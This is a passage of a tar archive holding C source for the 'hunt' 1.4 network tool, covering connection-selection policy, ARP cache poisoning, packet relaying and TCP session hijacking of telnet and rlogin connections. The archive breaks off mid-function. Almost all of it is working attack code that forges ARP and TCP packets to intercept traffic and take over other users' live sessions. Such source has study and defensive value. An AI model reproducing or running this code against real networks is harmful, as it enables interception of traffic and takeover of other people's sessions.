hunt-1.4/ 40755 0 0 0 6776074653 10342 5ustar rootroothunt-1.4/addpolicy.c100644 0 0 11713 6661267263 12570 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include struct list l_add_policy = LIST_INIT(struct add_policy_info, next); int conn_add_match(unsigned int src_addr, unsigned int dst_addr, unsigned short src_port, unsigned short dst_port) { struct list_iterator li; struct add_policy_info *api; int retval = 0; list_lock(&l_add_policy); list_iter_set(&li, &l_add_policy); while ((api = list_iter_get(&li))) { if ((src_addr & api->src_mask) == api->src_addr && (dst_addr & api->dst_mask) == api->dst_addr && port_match(src_port, api->src_ports) && port_match(dst_port, api->dst_ports)) { retval = 1; break; } if ((src_addr & api->src_mask) == api->dst_addr && (dst_addr & api->dst_mask) == api->src_addr && port_match(src_port, api->dst_ports) && port_match(dst_port, api->src_ports)) { retval = 1; break; } } list_iter_end(&li); list_unlock(&l_add_policy); return retval; } int conn_add_policy(struct iphdr *iph, struct tcphdr *tcph) { return conn_add_match(iph->saddr, iph->daddr, tcph->source, tcph->dest); } void add_telnet_rlogin_policy(void) { struct add_policy_info *api; api = malloc(sizeof(struct add_policy_info)); assert(api); memset(api, 0, sizeof(sizeof(struct add_policy_info))); api->src_addr = 0; api->src_mask = 0; api->dst_addr = 0; api->dst_mask = 0; api->src_ports[0] = 0; api->dst_ports[0] = htons(23); api->dst_ports[1] = htons(513); api->dst_ports[2] = 0; list_push(&l_add_policy, api); }; static void addpolicy_item_print(int i, struct add_policy_info *api) { char buf_src_ports[BUFSIZE], buf_dst_ports[BUFSIZE]; char host_buf[BUFSIZE]; sprintf_db_ports(api->src_ports, buf_src_ports, sizeof(buf_src_ports), 1); sprintf_db_ports(api->dst_ports, buf_dst_ports, sizeof(buf_dst_ports), 1); sprintf(host_buf, "%s/%d [%s]", host_lookup(api->src_addr, hl_mode), count_mask(api->src_mask), buf_src_ports); printf("%2d) %-32s <--> %s/%d [%s]\n", i, host_buf, host_lookup(api->dst_addr, hl_mode), count_mask(api->dst_mask), buf_dst_ports); } void addpolicy_list_items(void) { struct list_iterator li; struct add_policy_info *api; int i = 0; list_iter_set(&li, &l_add_policy); while ((api = list_iter_get(&li))) { addpolicy_item_print(i++, api); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } void addpolicy_add_item(void) { struct add_policy_info *api; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int nr; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, 0, 0, NULL) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, 0, 0, NULL) < 0) return; if ((nr = menu_choose_unr("insert at", 0, list_count(&l_add_policy), list_count(&l_add_policy))) == -1) return; api = malloc(sizeof(struct add_policy_info)); memset(api, 0, sizeof(struct add_policy_info)); api->src_addr = src_ip; api->src_mask = src_mask; port_htons(src_ports); memcpy(api->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); api->dst_addr = dst_ip; api->dst_mask = dst_mask; port_htons(dst_ports); memcpy(api->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); list_lock(&l_add_policy); list_insert_at(&l_add_policy, nr, api); list_unlock(&l_add_policy); } void addpolicy_mod_item(void) { struct add_policy_info *api; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int nr; addpolicy_list_items(); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_add_policy) - 1, list_count(&l_add_policy) - 1)) == -1) return; if (!(api = list_at(&l_add_policy, nr))) return; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, api->src_addr, api->src_mask, api->src_ports) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, api->dst_addr, api->dst_mask, api->dst_ports) < 0) return; port_htons(src_ports); port_htons(dst_ports); list_lock(&l_add_policy); api->src_addr = src_ip; api->src_mask = src_mask; memcpy(api->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); api->dst_addr = dst_ip; api->dst_mask = dst_mask; memcpy(api->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); list_unlock(&l_add_policy); } void addpolicy_del_item(void) { int i; struct add_policy_info *api; addpolicy_list_items(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_add_policy) - 1, -1); if (i >= 0) { list_lock(&l_add_policy); api = list_remove_at(&l_add_policy, i); list_unlock(&l_add_policy); free(api); } } hunt-1.4/arphijack.c100644 0 0 15775 6730742740 12563 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include "c/list.h" /* * * * ATTACK * * */ int user_arp_hijack(struct user_conn_info *uci, char *src_fake_mac, char *dst_fake_mac, int input_mode) { struct conn_info *ci; int retval; if (!(ci = conn_get(uci))) { printf("connection isn't available\n"); retval = 1; } else { retval = arp_hijack(ci, src_fake_mac, dst_fake_mac, input_mode); conn_free(ci); } return retval; } /* * use l_hijack_conn list */ struct watch_tty_data { char *src_fake_mac; struct conn_info *ci; int input_mode; }; static void *watch_tty(struct watch_tty_data *wtd) { struct tcp_spec ts; char buf[256]; int nr; if (wtd->input_mode == INPUT_MODE_RAW) tty_raw(0, 1, 0); while ((nr = read(0, buf, sizeof(buf)))) { if (buf[0] == 29) /* ^] */ break; if (wtd->input_mode == INPUT_MODE_LINEECHO || wtd->input_mode == INPUT_MODE_LINEECHOR) { if (nr >= 3 && buf[0] == '^' && buf[1] == ']' && buf[2] == '\n') break; if (wtd->input_mode == INPUT_MODE_LINEECHOR && nr < sizeof(buf) && buf[nr - 1] == '\n') { buf[nr - 1] = '\r'; buf[nr++] = '\n'; } } memset(&ts, 0, sizeof(ts)); ts.saddr = wtd->ci->src_addr; ts.daddr = wtd->ci->dst_addr; ts.sport = wtd->ci->src_port; ts.dport = wtd->ci->dst_port; ts.src_mac = wtd->src_fake_mac; ts.dst_mac = wtd->ci->dst.src_mac; ts.seq = wtd->ci->dst.next_d_seq; ts.ack_seq = wtd->ci->dst.next_seq; ts.window = wtd->ci->src.window ? wtd->ci->src.window : htons(242); ts.id = htons(ntohs(wtd->ci->src.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = buf; ts.data_len = nr; send_tcp_packet(&ts); } if (wtd->input_mode == INPUT_MODE_RAW) tty_reset(0); list_produce_done(&l_hijack_conn); return NULL; } static struct arp_spoof_info *asi_src; /* src in dst host */ static struct arp_spoof_info *asi_dst; /* dst in src host */ static struct arp_dont_relay *dont_relay; int arp_hijack(struct conn_info *ci, char *src_fake_mac, char *dst_fake_mac, int input_mode) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; struct ifunc_item ifunc_dst, ifunc_src; struct packet *p; int count_dst = 0, count_src = 0; pthread_t thr_tty; struct watch_tty_data wtd; asi_src = asi_dst = NULL; dont_relay = arp_dont_relay_insert(ci->src_addr, ci->dst_addr, ci->src_port, ci->dst_port); if (src_fake_mac) { if (!(asi_src = start_arp_spoof(ci->src_addr, ci->dst_addr, NULL, NULL, NULL, 0, 0, 0))) { asi_src = start_arp_spoof(ci->src_addr, ci->dst_addr, ci->src.src_mac, ci->dst.src_mac, src_fake_mac, 0, 0, 0); } } else asi_src = get_arp_spoof(ci->src_addr, ci->dst_addr); if (asi_src && user_arpspoof_test(asi_src)) { if (user_run_arpspoof_until_successed(asi_src)) { set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s in host %s FAILED\n", host_lookup(asi_src->src_addr, hl_mode), host_lookup(asi_src->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (src_fake_mac) stop_arp_spoof(asi_src); asi_src = NULL; } } if (dst_fake_mac) { if (!(asi_dst = start_arp_spoof(ci->dst_addr, ci->src_addr, NULL, NULL, NULL, 0, 0, 0))) { asi_dst = start_arp_spoof(ci->dst_addr, ci->src_addr, ci->dst.src_mac, ci->src.src_mac, dst_fake_mac, 0, 0, 0); } } else asi_dst = get_arp_spoof(ci->dst_addr, ci->src_addr); if (asi_dst && user_arpspoof_test(asi_dst)) { if (user_run_arpspoof_until_successed(asi_dst)) { set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s in host %s FAILED\n", host_lookup(asi_dst->src_addr, hl_mode), host_lookup(asi_dst->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (dst_fake_mac) stop_arp_spoof(asi_dst); asi_dst = NULL; } } set_tty_color(COLOR_WHITE); printf("you took over the connection\n"); set_tty_color(COLOR_BRIGHTRED); printf("CTRL-] to break\n"); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); wtd.src_fake_mac = asi_src ? asi_src->src_fake_mac : ci->src.src_mac; wtd.ci = ci; wtd.input_mode = input_mode; list_produce_start(&l_hijack_conn); pthread_create(&thr_tty, NULL, (void *(*)(void *)) watch_tty, &wtd); ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst; ifunc_dst.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); ifunc_src.func = (void(*)(struct packet *, void *)) func_hijack_src; ifunc_src.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_src); while ((p = list_consume(&l_hijack_conn, NULL))) { iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->dst_addr && iph->daddr == ci->src_addr && tcph->source == ci->dst_port && tcph->dest == ci->src_port) { /* packet from dest */ if (p->p_data_len) { print_data_packet(p, p->p_data_len, ++count_dst, 1); packet_free(p); /* send ACK */ memset(&ts, 0, sizeof(ts)); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = asi_src ? asi_src->src_fake_mac : ci->src.src_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = htons(ntohs(ci->src.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = NULL; ts.data_len = 0; send_tcp_packet(&ts); } else packet_free(p); } else { if (p->p_data_len) { /* packet from source */ print_data_packet(p, p->p_data_len, ++count_src, 0); memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = asi_dst ? asi_dst->src_fake_mac : ci->dst.src_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } send_tcp_packet(&ts); } packet_free(p); } } list_remove(&l_ifunc_tcp, &ifunc_dst); list_remove(&l_ifunc_tcp, &ifunc_src); packet_flush(&l_hijack_conn); pthread_join(thr_tty, NULL); return 0; } void user_arp_hijack_done(char *src_fake_mac, char *dst_fake_mac) { arp_hijack_done(src_fake_mac, dst_fake_mac); } void arp_hijack_done(char *src_fake_mac, char *dst_fake_mac) { arp_dont_relay_remove(dont_relay); if (asi_src && src_fake_mac) { stop_arp_spoof(asi_src); } asi_src = NULL; if (asi_dst && dst_fake_mac) { stop_arp_spoof(asi_dst); } asi_dst = NULL; } hunt-1.4/arpspoof.c100644 0 0 115222 6776074453 12475 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998, 1999 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include struct arp_spoof_range { struct arp_spoof_info **asi; /* array of pointers */ int asi_count; unsigned int dst_start_addr; unsigned int dst_end_addr; unsigned int src_addr; char src_fake_mac[ETH_ALEN]; int refresh; int can_forward; struct arp_spoof_range *next; }; static struct list l_arp_spoof = LIST_INIT(struct arp_spoof_info, next); static struct list l_arp_dont_relay = LIST_INIT(struct arp_dont_relay, next); static struct list l_arp_spoof_range = LIST_INIT(struct arp_spoof_range, next); static struct ifunc_item ifunc_arp; static pthread_t relay_thr; static struct ifunc_item ifunc_relay; static struct list l_relay_pkt = LIST_INIT(struct packet, p_next[MODULE_ARP_SPOOF]); static int relayer_running = 0; int arp_request_spoof_through_request = 1; int arp_rr_count = 2; int arp_spoof_switch = 1; int arp_spoof_with_my_mac = 0; int can_forward_question = 0; /* if 0 then can_forward is default to 1 */ unsigned char mac_broadcast[ETH_ALEN] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; unsigned char mac_zero[ETH_ALEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; #if 0 static unsigned char mac_test[] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xAA}; static void prepare_switch(struct arp_spoof_info *asi) { struct arp_spec as_dst; struct timespec ts; int i; as_dst.src_mac = asi->src_fake_mac; as_dst.dst_mac = mac_broadcast; as_dst.oper = htons(ARPOP_REQUEST); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = mac_zero; as_dst.target_addr = htonl(ntohl(asi->dst_addr) + 1); for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); ts.tv_sec = 0; ts.tv_nsec = 100000000; /* 0.1s */ nanosleep(&ts, NULL); } #endif static void send_src_spoof_to_dst(struct arp_spoof_info *asi) { struct arp_spec as_dst; int i; if (!asi->dst_mac_valid) { fprintf(stderr, "error: try to send arp spoof without known dst mac\n"); return; } as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REPLY); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = asi->dst_mac; as_dst.target_addr = asi->dst_addr; for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); } /* * if the ARP entry is in the host arp cache the host updates it even * from ARP request. That means when the first spoofed host send ARP * request for some other machine to broadcast eth mac (with its original * source mac address) it is received by the second spoofed host also * and that host updates the cache to the right value - so the spoof * is lost - we have to handle this. * * Don't send arp request to broadcast eth mac because then * you can influent all caches. */ static void send_src_spoof_to_dst_through_request(struct arp_spoof_info *asi, unsigned int ask_addr) { struct arp_spec as_dst; int i; if (!asi->dst_mac_valid) { fprintf(stderr, "error: try to send arp spoof 2 without known dst mac\n"); return; } as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; as_dst.dst_mac = asi->dst_mac; /* don't use broadcast - we want that it is received only by the target */ as_dst.oper = htons(ARPOP_REQUEST); as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = mac_zero; as_dst.target_addr = ask_addr; for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); } int arp_spoof_timejob(void *arg, int arg_sec) { struct arp_spoof_info *asi = (struct arp_spoof_info *) arg; struct mac_info *mi_dst, *mi_src; if (!asi->dst_mac_valid) { if ((mi_dst = mac_info_get(asi->dst_addr))) { memcpy(asi->dst_mac, mi_dst->mac, ETH_ALEN); asi->dst_mac_valid = 1; mac_info_release(mi_dst); } else { mac_discover(asi->dst_addr, 1); /* we will find the mac next time */ } } if (!asi->src_mac_valid) { if ((mi_src = mac_info_get(asi->src_addr))) { memcpy(asi->src_mac, mi_src->mac, ETH_ALEN); asi->src_mac_valid = 1; mac_info_release(mi_src); } else { mac_discover(asi->src_addr, 1); /* we will find the mac next time */ } } if (asi->dst_mac_valid) { send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(asi->dst_addr) + 1)); } return arg_sec; } #if 0 static void print_arp_request_warning(struct packet *p, struct arpeth_hdr *arpethh) { printf("Warning: ARP REQEUST from %s", host_lookup(*(unsigned int *)arpethh->ar_sip, hl_mode)); printf(" to %s with ethsrc=", host_lookup(*(unsigned int *)arpethh->ar_tip, hl_mode)); print_eth_mac(p->p_ethh->h_source); printf(", ethdst="); print_eth_mac(p->p_ethh->h_dest); printf(", arpethh_sha="); print_eth_mac(arpethh->ar_sha); printf("\n"); } #endif /* * this function runs in hunt thread * and sends ARP respons to ARP requests which are now handled by as */ static void func_arp(struct packet *p, void *arg) { struct list_iterator li; struct arphdr *arph; struct arpeth_hdr *arpethh; struct arp_spoof_info *asi; struct timejob *tj; arph = p->p_arph; arpethh = (struct arpeth_hdr *)(arph + 1); if (arph->ar_pro != htons(ETH_P_IP)) return; /* * we want to send ARP to received request and reply packets */ #if 0 printf("recieved ARP "); if (arph->ar_op == htons(ARPOP_REPLY)) printf("REPLY"); else if (arph->ar_op == htons(ARPOP_REQUEST)) printf("REQUEST"); else printf("UNKNOWN"): printf("for asi: %s", host_lookup(*(unsigned int *)arpethh->ar_sip, hl_mode)); printf(" to %s with ethsrc=", host_lookup(*(unsigned int *)arpethh->ar_tip, hl_mode)); print_eth_mac(p->p_ethh->h_source); printf(", ethdst="); print_eth_mac(p->p_ethh->h_dest); printf("\n"); #endif list_lock(&l_arp_spoof); list_iter_set(&li, &l_arp_spoof); if (arph->ar_op == htons(ARPOP_REPLY)) { /* reply */ while ((asi = list_iter_get(&li))) { if (*(unsigned int *) arpethh->ar_sip == asi->src_addr && *(unsigned int *) arpethh->ar_tip == asi->dst_addr) { /* learn mac addresses if we do not have them */ if (!asi->dst_mac_valid) { /* printf("2 learn dst_mac\n");*/ memcpy(asi->dst_mac, arpethh->ar_tha, ETH_ALEN); asi->dst_mac_valid = 1; } if (!asi->src_mac_valid) { /* printf("2 learn src_mac\n");*/ memcpy(asi->src_mac, arpethh->ar_sha, ETH_ALEN); asi->src_mac_valid = 1; } if (asi->tj_reply) { unregister_timejob(asi->tj_reply); free(asi->tj_reply); asi->tj_reply = NULL; } /* printf("send spoof to reply\n");*/ send_src_spoof_to_dst(asi); } } } else if (arph->ar_op == htons(ARPOP_REQUEST)) { /* request */ /* * some host send ARP probe through REQUEST to direct MAC to see if something * changed - in switched network we do not receive these requests (unless the * sending host has already fake mac in its table) so the refresh feature is useful */ while ((asi = list_iter_get(&li))) { if (*(unsigned int *) arpethh->ar_sip == asi->dst_addr && *(unsigned int *) arpethh->ar_tip == asi->src_addr) { /* * check if we can learn something */ if (!asi->dst_mac_valid) { /* printf("1 learn dst_mac\n");*/ memcpy(asi->dst_mac, arpethh->ar_sha, ETH_ALEN); #if 0 if (memcmp(arpethh->ar_sha, p->p_ethh->h_source, ETH_ALEN) != 0) print_arp_request_warning(p, arpethh); #endif asi->dst_mac_valid = 1; } if (!asi->src_mac_valid) { /* we cannot learn because the request is sent to broadcast mac */ mac_discover(asi->src_addr, 1); } /* * send the spoof, question is if to do so when we do not have src_mac_valid */ /* printf("1 send spoof to request\n");*/ send_src_spoof_to_dst(asi); /* * in switched environment we get the REQEUST * (as it is broadcasted) but the REPLY we don't see * - so we heve to refresh it if we don't see the REPLY */ if (asi->tj_reply) { unregister_timejob(asi->tj_reply); free(asi->tj_reply); asi->tj_reply = NULL; } tj = malloc(sizeof(struct timejob)); tj->j_func = arp_spoof_timejob; tj->j_arg = asi; tj->j_arg_sec = 0; asi->tj_reply = tj; register_timejob_milsec_rel(tj, 200); /* 0.2s */ } /* * the source is asking for arp resolution of some host * but the spoof target could update the arp cache when * it receives the request (the request is broadcasted), * so we have to handle this */ if (*(unsigned int *) arpethh->ar_sip == asi->src_addr && asi->dst_mac_valid) { if (arp_request_spoof_through_request) send_src_spoof_to_dst_through_request(asi, *(unsigned int *) arpethh->ar_tip); else send_src_spoof_to_dst(asi); } } } else { /* neither REQUEST nor REPLY */ } list_iter_end(&li); list_unlock(&l_arp_spoof); } /* * for internval use only */ static struct arp_spoof_info *get_asi(unsigned int src_addr, unsigned int dst_addr) { struct list_iterator li; struct arp_spoof_info *asi, *retval; retval = NULL; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == src_addr && asi->dst_addr == dst_addr) { retval = asi; break; } } list_iter_end(&li); return retval; } /* * this function is exported to other modules like arphijack * it checks that we have all mac addresses ready */ struct arp_spoof_info *get_arp_spoof(unsigned int src_addr, unsigned int dst_addr) { struct list_iterator li; struct arp_spoof_info *asi, *retval; retval = NULL; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == src_addr && asi->dst_addr == dst_addr && asi->src_mac_valid && asi->dst_mac_valid) { retval = asi; break; } } list_iter_end(&li); return retval; } struct arp_dont_relay *arp_dont_relay_insert( unsigned int src_addr, unsigned int dst_addr, unsigned int src_port, unsigned int dst_port) { struct arp_dont_relay *adr; adr = malloc(sizeof(struct arp_dont_relay)); assert(adr); adr->src_addr = src_addr; adr->dst_addr = dst_addr; adr->src_port = src_port; adr->dst_port = dst_port; list_push(&l_arp_dont_relay, adr); return adr; } void arp_dont_relay_remove(struct arp_dont_relay *adr) { list_remove(&l_arp_dont_relay, adr); free(adr); } static void asi_want(struct arp_spoof_info *asi) { pthread_mutex_lock(&asi->mutex); asi->lock_count++; pthread_mutex_unlock(&asi->mutex); } static void asi_release(struct arp_spoof_info *asi) { pthread_mutex_lock(&asi->mutex); if (--(asi->lock_count) == 0) pthread_cond_broadcast(&asi->lock_cond); pthread_mutex_unlock(&asi->mutex); } static void asi_wait_for_release(struct arp_spoof_info *asi) { pthread_mutex_lock(&asi->mutex); while (asi->lock_count > 0) pthread_cond_wait(&asi->lock_cond, &asi->mutex); pthread_mutex_unlock(&asi->mutex); } struct arp_spoof_info *start_arp_spoof(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, char *src_fake_mac, int refresh, int can_forward, int in_range) { struct arp_spoof_info *asi, *tmp; struct timespec ts; struct timejob *tj; struct list_iterator li; int i; if ((asi = get_asi(src_addr, dst_addr))) { if (!asi->dst_mac_valid && dst_mac) { memcpy(asi->dst_mac, dst_mac, ETH_ALEN); asi->dst_mac_valid = 1; } if (!asi->src_mac_valid && src_mac) { memcpy(asi->src_mac, src_mac, ETH_ALEN); asi->src_mac_valid = 1; } asi->use_count++; return asi; } if (!src_fake_mac) return NULL; if (list_count(&l_arp_spoof) == 0) { ifunc_arp.func = func_arp; ifunc_arp.arg = NULL; list_enqueue(&l_ifunc_arp, &ifunc_arp); } asi = malloc(sizeof(struct arp_spoof_info)); assert(asi); memset(asi, 0, sizeof(struct arp_spoof_info)); pthread_mutex_init(&asi->mutex, NULL); pthread_cond_init(&asi->lock_cond, NULL); asi->lock_count = 0; asi->use_count = 1; asi->refresh = refresh; asi->tj_refresh = NULL; asi->tj_reply = NULL; asi->src_addr = src_addr; asi->dst_addr = dst_addr; memcpy(asi->src_fake_mac, src_fake_mac, ETH_ALEN); if (dst_mac) { memcpy(asi->dst_mac, dst_mac, ETH_ALEN); asi->dst_mac_valid = 1; } else asi->dst_mac_valid = 0; if (src_mac) { memcpy(asi->src_mac, src_mac, ETH_ALEN); asi->src_mac_valid = 1; } else asi->src_mac_valid = 0; asi->can_forward = can_forward; asi->in_range = in_range; /* prepare_switch(asi); */ if (asi->dst_mac_valid) { send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(dst_addr) + 1)); if (arp_spoof_switch) { ts.tv_sec = 0; ts.tv_nsec = 100000000; /* 0.1s */ nanosleep(&ts, NULL); send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(dst_addr) + 1)); } } /* * insert the asi with range at the end of the l_arp_spoof list and * asi without range before asi with range */ if (in_range) { list_enqueue(&l_arp_spoof, asi); } else { i = 0; list_iter_set(&li, &l_arp_spoof); while ((tmp = list_iter_get(&li))) { if (tmp->in_range) break; i++; } list_iter_end(&li); list_insert_at(&l_arp_spoof, i, asi); } if (refresh) { tj = malloc(sizeof(struct timejob)); assert(tj); tj->j_func = arp_spoof_timejob; tj->j_arg = asi; tj->j_arg_sec = refresh; asi->tj_refresh = tj; register_timejob_rel(tj, refresh); } else asi->tj_refresh = NULL; return asi; } void force_arp_spoof(struct arp_spoof_info *asi, int count) { int i; if (asi->dst_mac_valid) { for (i = 0; i < count; i++) { send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(asi->dst_addr) + 1)); } } else printf("Warning: cannot try to force arp spoof while dst mac is not known\n"); } void stop_arp_spoof(struct arp_spoof_info *asi) { struct arp_spec as_dst; unsigned char *asi_src_mac; int i; if (--asi->use_count > 0) return; list_remove(&l_arp_spoof, asi); /* remove asi from the list */ if (asi->tj_refresh) { unregister_timejob(asi->tj_refresh); free(asi->tj_refresh); asi->tj_refresh = NULL; } if (asi->tj_reply) { unregister_timejob(asi->tj_reply); free(asi->tj_reply); asi->tj_reply = NULL; } if (asi->dst_mac_valid) { if (asi->src_mac_valid) asi_src_mac = asi->src_mac; else asi_src_mac = asi->src_fake_mac; if (arp_spoof_switch) as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; else as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi_src_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REPLY); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi_src_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = asi->dst_mac; as_dst.target_addr = asi->dst_addr; for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); /* * ok, try request also * ask the host for some fake IP * but set the right mac of sender, if the sender entry is in the * target host cache the host will update the cache. */ if (arp_spoof_switch) as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; else as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi_src_mac; as_dst.src_mac = asi->src_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REQUEST); as_dst.sender_mac = asi_src_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = mac_zero; as_dst.target_addr = htonl(ntohl(asi->dst_addr) + 1); for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); } list_lock(&l_arp_spoof); if (list_count(&l_arp_spoof) == 0) { list_remove(&l_ifunc_arp, &ifunc_arp); } list_unlock(&l_arp_spoof); asi_wait_for_release(asi); pthread_cond_destroy(&asi->lock_cond); pthread_mutex_destroy(&asi->mutex); free(asi); } /* * this function runs in hunt thread * enqueues packets for relaying received from hosts which are ARP spoofed */ static void func_relay(struct packet *p, void *arg) { struct list_iterator li; struct arp_spoof_info *asi; list_lock(&l_arp_spoof); list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (p->p_iph->saddr == asi->dst_addr && (p->p_iph->daddr == asi->src_addr || asi->can_forward) && (!asi->dst_mac_valid || memcmp(p->p_ethh->h_source, asi->dst_mac, ETH_ALEN) == 0) && memcmp(p->p_ethh->h_dest, asi->src_fake_mac, ETH_ALEN) == 0) { packet_want(p); asi_want(asi); p->p_arg[MODULE_ARP_SPOOF] = asi; list_produce(&l_relay_pkt, p); break; } } list_iter_end(&li); list_unlock(&l_arp_spoof); } /* * check for packets that we do not relay - connections * that are for example hijacked */ static int check_dont_relay(struct packet *p) { struct arp_dont_relay *adr; struct list_iterator li; struct iphdr *iph; struct tcphdr *tcph; int dont_relay; iph = p->p_iph; tcph = p->p_hdr.p_tcph; dont_relay = 0; list_lock(&l_arp_dont_relay); list_iter_set(&li, &l_arp_dont_relay); while ((adr = list_iter_get(&li))) { if (adr->src_addr == iph->saddr && adr->dst_addr == iph->daddr && adr->src_port == tcph->source && adr->dst_port == tcph->dest) { dont_relay = 1; break; } if (adr->src_addr == iph->daddr && adr->dst_addr == iph->saddr && adr->src_port == tcph->dest && adr->dst_port == tcph->source) { dont_relay = 1; break; } } list_iter_end(&li); list_unlock(&l_arp_dont_relay); return dont_relay; } static void print_relay_packet(const char *label, struct packet *p, int print_mac) { #if 0 struct iphdr *iph = p->p_iph; printf("%s: %s to ", label, host_lookup(iph->saddr, hl_mode)); printf("%s", host_lookup(iph->daddr, hl_mode)); if (iph->protocol == IPPROTO_TCP) printf(" TCP %d -> %d", ntohs(p->p_hdr.p_tcph->source), ntohs(p->p_hdr.p_tcph->dest)); else if (iph->protocol == IPPROTO_UDP) printf(" UDP %d -> %d", ntohs(p->p_hdr.p_udph->source), ntohs(p->p_hdr.p_tcph->dest)); else if (iph->protocol == IPPROTO_ICMP) printf(" ICMP"); else printf(" proto %d", iph->protocol); if (print_mac) { printf(" "); print_eth_mac(p->p_ethh->h_source); printf("->"); print_eth_mac(p->p_ethh->h_dest); } printf("\n"); #endif } /* * This is designed for modifing relayed packets. * It was used to alter packets from poor TCP/IP stack * implementation to correct the bug there - thanks hunt. */ static void relay_modify_hook(struct packet *p_new) { #if 0 struct iphdr *ip; struct tcphdr *tcp; unsigned short old_check; if (p_new->p_iph->protocol == IPPROTO_TCP && p_new->p_hdr.p_tcph->ack_seq && !p_new->p_hdr.p_tcph->ack) { ip = p_new->p_iph; tcp = p_new->p_hdr.p_tcph; old_check = p_new->p_hdr.p_tcph->check; tcp->check = 0; tcp->check = 